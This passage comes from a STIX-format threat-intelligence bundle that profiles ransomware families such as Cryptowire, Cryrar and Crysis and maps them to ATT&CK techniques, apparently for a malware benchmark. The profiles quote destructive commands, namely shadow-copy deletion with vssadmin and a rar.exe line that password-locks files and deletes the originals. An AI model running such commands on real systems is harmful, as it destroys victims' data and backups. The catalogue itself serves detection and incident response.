      "source_ref": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowall exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46752484-9be9-5fa8-8f6c-f8b6941002e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "target_ref": "attack-pattern--5f1029ec-51c9-5060-9e14-dda97d706dfd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowall exhibits technique T1071.003 (Mail Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e61315b-b626-50ec-a97f-43a609d15944",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowall exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b094f13-1d56-5661-9ecf-902ee62f18a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowall exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--138c60bf-bc4f-5f98-b8f5-df85f64491bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowall exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--03527c4b-3caf-559a-a5e1-daf1b61a8c8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptowire",
      "description": "<h3>Executive Summary</h3>\nCryptowire is a variant of destructive Ransomware designed to infiltrate corporate networks, rapidly encrypt critical file systems, and demand a cryptocurrency payment for the decryption key. It represents a severe, immediate threat to business continuity, often leveraging sophisticated evasion techniques to bypass endpoint security before initiating its encryption routine.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nCryptowire typically gains access to a network through compromised Remote Desktop Protocol (RDP) connections (via brute-forcing or purchased credentials), malicious phishing attachments, or by exploiting public-facing vulnerabilities on edge devices.\n\nOnce inside the network, Cryptowire executes a devastating attack chain:\n<ul>\n<li><strong>Defense Evasion:</strong> The malware actively attempts to terminate endpoint security services, disable Windows Defender, and crucially, delete Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy, local data restoration.</li>\n<li><strong>Rapid Encryption:</strong> It utilizes strong cryptographic algorithms (typically AES paired with an asymmetric key like RSA) to encrypt user files, databases, and network shares. The encrypted files are appended with a specific extension (e.g., `.cryptowire` or `.locked`), and a ransom note is dropped into every affected directory.</li>\n<li><strong>Lateral Movement:</strong> Before triggering the final encryption payload, attackers often manually deploy tools like Cobalt Strike or Mimikatz alongside Cryptowire to dump credentials and move laterally, aiming to compromise the Domain Controller to push the ransomware globally across the enterprise.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Cryptowire infection is a catastrophic security incident that immediately halts business operations. It poses an existential threat to the organization through severe data loss, extended downtime, potential regulatory fines, and reputational damage.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not simply turn off the machines, as this destroys volatile memory forensics. Instantly sever the network connection of all infected machines (and the Domain Controller if compromised) from the internet and the rest of the LAN to halt lateral movement and data exfiltration.</li>\n<li><strong>Engage Incident Response:</strong> Immediately engage specialized third-party Incident Response and legal counsel. Do not attempt to negotiate with the threat actors without professional guidance.</li>\n<li><strong>Eradication and Recovery:</strong> Eradicating ransomware requires a complete infrastructure rebuild. All affected machines must be wiped to bare metal and rebuilt from known-good, offline backups. All enterprise credentials must be rotated globally.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Cryptowire",
        "Trojan-Ransom.Win32.Cryptowire",
        "Cryptolocker.Wire"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptowire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptowire"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2328660-6783-58e6-ad68-2052e2911cc7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03527c4b-3caf-559a-a5e1-daf1b61a8c8f",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowire exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca87458d-c743-5357-a0d0-128712b7bfe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03527c4b-3caf-559a-a5e1-daf1b61a8c8f",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowire exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9644dfc7-1b78-50c2-8421-5873ce379748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03527c4b-3caf-559a-a5e1-daf1b61a8c8f",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowire exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67b160e5-030d-5508-82e9-8ead21f2fe5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--03527c4b-3caf-559a-a5e1-daf1b61a8c8f",
      "target_ref": "attack-pattern--1bebd12d-91bd-5238-ab4b-3db129d6804f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptowire exhibits technique T1078 (Valid Accounts (The goal of the attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71846eac-3aa5-59e7-ab4a-229ae1ff4e95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptpack",
      "description": "Riskware:Win32/Cryptpack is a broad heuristic detection used by antivirus engines to identify files that have been obfuscated, compressed, or encrypted using known 'Packers' or 'Crypters'. While some commercial software uses packing for IP protection, the vast majority of files flagged as Cryptpack are malicious. Malware authors use these tools as a primary defense evasion technique (`T1027.002`) to hide their true payload (like a RAT or ransomware) from static, signature-based antivirus scanning.<br><br><b>Understanding Cryptpack (Packers and Crypters)</b><br>To an end-user, the execution is seamless; the file simply runs. For a security analyst or reverse engineer, a Cryptpack detection is a massive red flag. It means the file being analyzed is not the actual malware, but a 'wrapper'. The true malicious code is encrypted within the file and will only be decrypted and loaded into memory at runtime.<br><br><b>Execution and Evasion Mechanics</b><br>When a packed executable runs, a small 'stub' of code executes first. This stub allocates memory, decrypts or decompresses the hidden malicious payload, and then transfers execution control to it, often using techniques like Process Hollowing or RunPE to inject the unencrypted payload directly into the memory of a legitimate process (like `svchost.exe`). Because the actual malicious code never touches the hard drive in an unencrypted state, traditional static file scanning fails to detect it.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the hidden payload. The primary IoC is the Cryptpack detection itself, or EDR alerts indicating high file entropy (randomness) characteristic of encrypted data. Host-based IoCs require dynamic analysis: observing the packed file spawning a suspended child process and injecting code into it. Static analysis tools (like PEiD or Detect It Easy) will flag the file as packed (e.g., using UPX, Themida, VMProtect, or custom underground crypters). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptpack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b57cb43-bb61-59d1-9926-17f28f6110d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71846eac-3aa5-59e7-ab4a-229ae1ff4e95",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptpack exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (The core evasion technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33ab1cfb-21fb-5298-9a9c-36a44e7365bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71846eac-3aa5-59e7-ab4a-229ae1ff4e95",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptpack exhibits technique T1055.012 (Process Injection: Process Hollowing (Commonly used by crypters to execute the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca879256-275b-56e4-88e6-d1b8c1f1ff65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71846eac-3aa5-59e7-ab4a-229ae1ff4e95",
      "target_ref": "attack-pattern--ed3e1a5f-06b6-507d-9fd6-af71cc9084a3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptpack exhibits technique T1140 (Deobfuscate/Decode Files or Information (The action performed by the stub at runtime))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d627a7bf-8754-5510-8a86-8ab48bd4d8ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptredol",
      "description": "Ransomware:Win32/Cryptredol is a destructive malware strain with a dual-impact payload: it functions primarily as ransomware, encrypting victim data (`T1486`), but often includes a secondary cryptomining component (`T1496`) designed to monetize the system's hardware resources while the victim decides whether to pay the ransom. This dual-pronged attack maximizes the attacker's return on investment.<br><br><b>Understanding Cryptredol (Ransom-Miner)</b><br>To an end-user, the infection is catastrophic. Files become inaccessible, appended with a random extension, and the computer's fans spin loudly as the hidden miner consumes all available CPU power. For an organization, it requires immediate network isolation to prevent the rapid lateral spread of the encryption routine.<br><br><b>Execution and Dual-Payload Mechanics</b><br>Cryptredol is typically delivered via exploit kits or weaponized RDP access. Upon execution, it first disables Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) to prevent easy data recovery. It then drops a secondary payload (often a variant of XMRig) to begin mining Monero (`T1496`) in the background. Simultaneously, it rapidly traverses local drives and mapped network shares, utilizing strong algorithms like AES or RSA to encrypt files (`T1486`). A ransom note is dropped in every affected directory.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of data availability combined with severe system resource degradation. Host-based IoCs include the sudden renaming of thousands of files, the presence of ransom notes, EDR alerts for rapid file modification operations, and persistent 100% CPU utilization by unknown processes. System logs will show the execution of commands designed to inhibit system recovery. Network IoCs include connections to cryptocurrency mining pools (Stratum protocol) and a brief burst of traffic to a C2 server to transmit the victim's unique encryption ID. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptredol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptredol"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5a3b6b82-e531-56ca-9e57-710c4446bc93",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d627a7bf-8754-5510-8a86-8ab48bd4d8ee",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptredol exhibits technique T1486 (Data Encrypted for Impact (The core ransomware function))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8af257d0-1e3c-57ea-9f59-e53a83fd45e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d627a7bf-8754-5510-8a86-8ab48bd4d8ee",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptredol exhibits technique T1496 (Resource Hijacking (The secondary cryptomining function))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5106836-eed5-58c0-a7c0-5bf21a75116e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d627a7bf-8754-5510-8a86-8ab48bd4d8ee",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptredol exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe7d7bae-b10b-57b4-8bcd-275000feb3b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d627a7bf-8754-5510-8a86-8ab48bd4d8ee",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptredol exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a2491911-cd13-585d-a8a1-9d617184ef75",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptxxx",
      "description": "Ransom:Win32/Cryptxxx (also known as UltraCrypter) is a highly destructive, multi-faceted malware family. Unlike simple ransomware that only encrypts files, Cryptxxx acts as a dual-threat: it operates as a severe information stealer (`T1552`) to harvest Bitcoin wallets and passwords *before* it begins its cryptographic attack (`T1486`). This ensures the attackers can monetize the infection even if the victim refuses to pay the ransom.<br><br><b>Understanding Cryptxxx (Dual-Threat Ransomware)</b><br>To an end-user, the impact is catastrophic: personal files are locked with a `.crypt` or `.crypz` extension, a ransom note demands payment, and they may later find their cryptocurrency wallets drained. For a SOC analyst, Cryptxxx represents a massive breach of confidentiality and availability. It was heavily distributed by the Angler and Neutrino Exploit Kits.<br><br><b>Execution and Extortion Mechanics</b><br>Upon execution, Cryptxxx first establishes persistence (often copying itself to `%AppData%` and modifying the `Run` registry key). Before encrypting anything, it scans the hard drive for Bitcoin wallet files (`wallet.dat`), FTP credentials, email passwords, and browser cookies, exfiltrating this data to its C2 server (`T1041`). Once exfiltration is complete, it begins a rapid encryption routine using RSA-4096 and AES-256 (`T1486`). It actively attempts to delete Volume Shadow Copies (`T1490`) using `vssadmin.exe` to thwart recovery efforts.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data loss and severe credential compromise. Host-based IoCs include the presence of files appended with `.crypt`, `.crypz`, or `.crypt1`. Ransom notes are typically dropped as `de_crypt_readme.txt` or `de_crypt_readme.html`. EDR tools will flag the execution of `vssadmin.exe delete shadows /all /quiet`. Network IoCs include initial exfiltration traffic (often over non-standard ports) followed by Tor-based C2 communication. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptxxx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptxxx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23894c3d-9b77-5a7b-9d98-a9bca4c3fff1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2491911-cd13-585d-a8a1-9d617184ef75",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptxxx exhibits technique T1486 (Data Encrypted for Impact (The core ransomware functionality))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--dfecdec0-7be6-56fc-8789-28cce9b2a2fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1552: Credentials in Files (Stealing Bitcoin wallets and saved passwords prior to encryption)",
      "description": "MITRE ATT&CK Technique T1552 (Credentials in Files (Stealing Bitcoin wallets and saved passwords prior to encryption)) under tactic Credential Access.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1552",
          "url": "https://attack.mitre.org/techniques/T1552/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--96dd98c0-1b30-5c7f-956f-f2db7b796992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2491911-cd13-585d-a8a1-9d617184ef75",
      "target_ref": "attack-pattern--dfecdec0-7be6-56fc-8789-28cce9b2a2fc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptxxx exhibits technique T1552 (Credentials in Files (Stealing Bitcoin wallets and saved passwords prior to encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6d662e1-e6ba-5663-beea-6b207e3beb72",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a2491911-cd13-585d-a8a1-9d617184ef75",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptxxx exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--43e6567f-c4c9-528d-99cb-73e11a02a361",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryrar",
      "description": "Ransom:Win32/Cryrar is a severe threat classified as Ransomware. Uniquely, variants of this family (or families using similar techniques) often leverage legitimate compression utilities, like WinRAR, to encrypt and archive the victim's files, rather than relying on custom cryptographic routines. It extorts victims by locking critical data in password-protected RAR archives and demanding payment for the password.<br><br><b>Understanding Cryrar</b><br>To an end-user, a Cryrar infection represents an immediate crisis: documents and databases are suddenly inaccessible, replaced by `.rar` files, and a ransom note is presented on the desktop. For an enterprise, it triggers a 'Code Red' incident response, requiring immediate network isolation to prevent lateral movement and the encryption of enterprise file shares.<br><br><b>Execution and Extortion Mechanics</b><br>Cryrar is frequently distributed via targeted phishing (`T1566.001`) or exploit kits. Upon execution, it achieves persistence (`T1547.001`). Crucially, before encryption begins, it may execute commands like `vssadmin.exe delete shadows /all /quiet` to destroy Windows Volume Shadow Copies (`T1490`). Rather than implementing its own AES/RSA encryption, the malware drops a command-line version of WinRAR (e.g., `rar.exe`) and uses batch scripts to iterate through the filesystem. It executes commands to compress and password-protect high-value files (`rar.exe a -p[ComplexPassword] -m5 -df [archive.rar] [target.doc]`) (`T1560.001`). The original file is deleted, and only the encrypted archive remains.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs include massive spikes in disk I/O and CPU usage during the archiving phase, EDR alerts for `rar.exe` executing silently with command-line arguments containing long, random passwords, and the sudden appearance of ransom note files. Network IoCs may include anomalous outbound traffic if the ransomware incorporates a data exfiltration module. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryrar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryrar"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1560.001: Archive Collected Data: Archive via Utility (Using WinRAR for extortion)",
      "description": "MITRE ATT&CK Technique T1560.001 (Archive Collected Data: Archive via Utility (Using WinRAR for extortion)) under tactic Collection.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1560.001",
          "url": "https://attack.mitre.org/techniques/T1560/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cc81d4e-3343-5eff-9eab-51292f8dbd68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e6567f-c4c9-528d-99cb-73e11a02a361",
      "target_ref": "attack-pattern--3fdb36f7-3f3b-517d-a867-ed94c17be68a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryrar exhibits technique T1560.001 (Archive Collected Data: Archive via Utility (Using WinRAR for extortion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30f356e0-7818-57fc-a14f-22a48dc946e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e6567f-c4c9-528d-99cb-73e11a02a361",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryrar exhibits technique T1486 (Data Encrypted for Impact (Password-protected archives))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5d6d0461-ed84-54e1-80fc-460553697715",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e6567f-c4c9-528d-99cb-73e11a02a361",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryrar exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3184ba9-e351-5998-a8ff-7821ded95b61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--43e6567f-c4c9-528d-99cb-73e11a02a361",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryrar exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crysis",
      "description": "Ransomware:Win32/Crysis (widely tracked in subsequent major evolutionary variants as Dharma) is a prolific, destructive Ransomware-as-a-Service (RaaS) that emerged in early 2016 following the sunset of TeslaCrypt. Crysis specializes in targeted intrusions against small-to-medium-sized businesses, municipal governments, and healthcare facilities. Rather than relying solely on indiscriminate email spam, Crysis affiliates heavily exploit exposed and weak Remote Desktop Protocol (RDP) credentials (port 3389) via brute-force dictionary attacks. Once gaining initial access, operators manually reconnaissance the victim network, terminate security and backup processes using utility tools like GMER or Process Hacker, execute vssadmin.exe to purge Volume Shadow Copies, and deploy the Crysis executable. Crysis utilizes AES-128 or AES-256 for symmetric file encryption combined with RSA-1024 or RSA-2048 master keys, appending characteristic extensions such as .crysis, .dharma, .wallet, .onion, and .cesar. In November 2016 and May 2017, the original malware authors voluntarily posted master decryption keys to public forums on BleepingComputer, enabling security vendors including Kaspersky and ESET to release universal free decrypters through the global No More Ransom initiative. (Observed samples in benchmark: 24)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Crysis",
        "Dharma",
        "Ransom.Crysis",
        "Trojan-Ransom.Win32.Crusis",
        "W32/Crysis",
        "Ransom.Dharma"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crysis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crysis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51b477bb-2adf-535c-9334-311818eab55f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d3baa8e-8fca-5dd0-8ec6-62eb86005305",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8919f54b-3c72-5d85-8eed-c2c55a5a4e08",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crysis exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a71a63c8-767f-55cc-b621-7f5e5f29d3e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1078.002: Domain Accounts",
      "description": "MITRE ATT&CK Technique T1078.002 (Domain Accounts) under tactic defense-evasion.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1078.002",
          "url": "https://attack.mitre.org/techniques/T1078/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26fe227b-3696-5941-93a9-d3eae070aad2",
      "created": "2026-01-01T00:00:00.000Z",
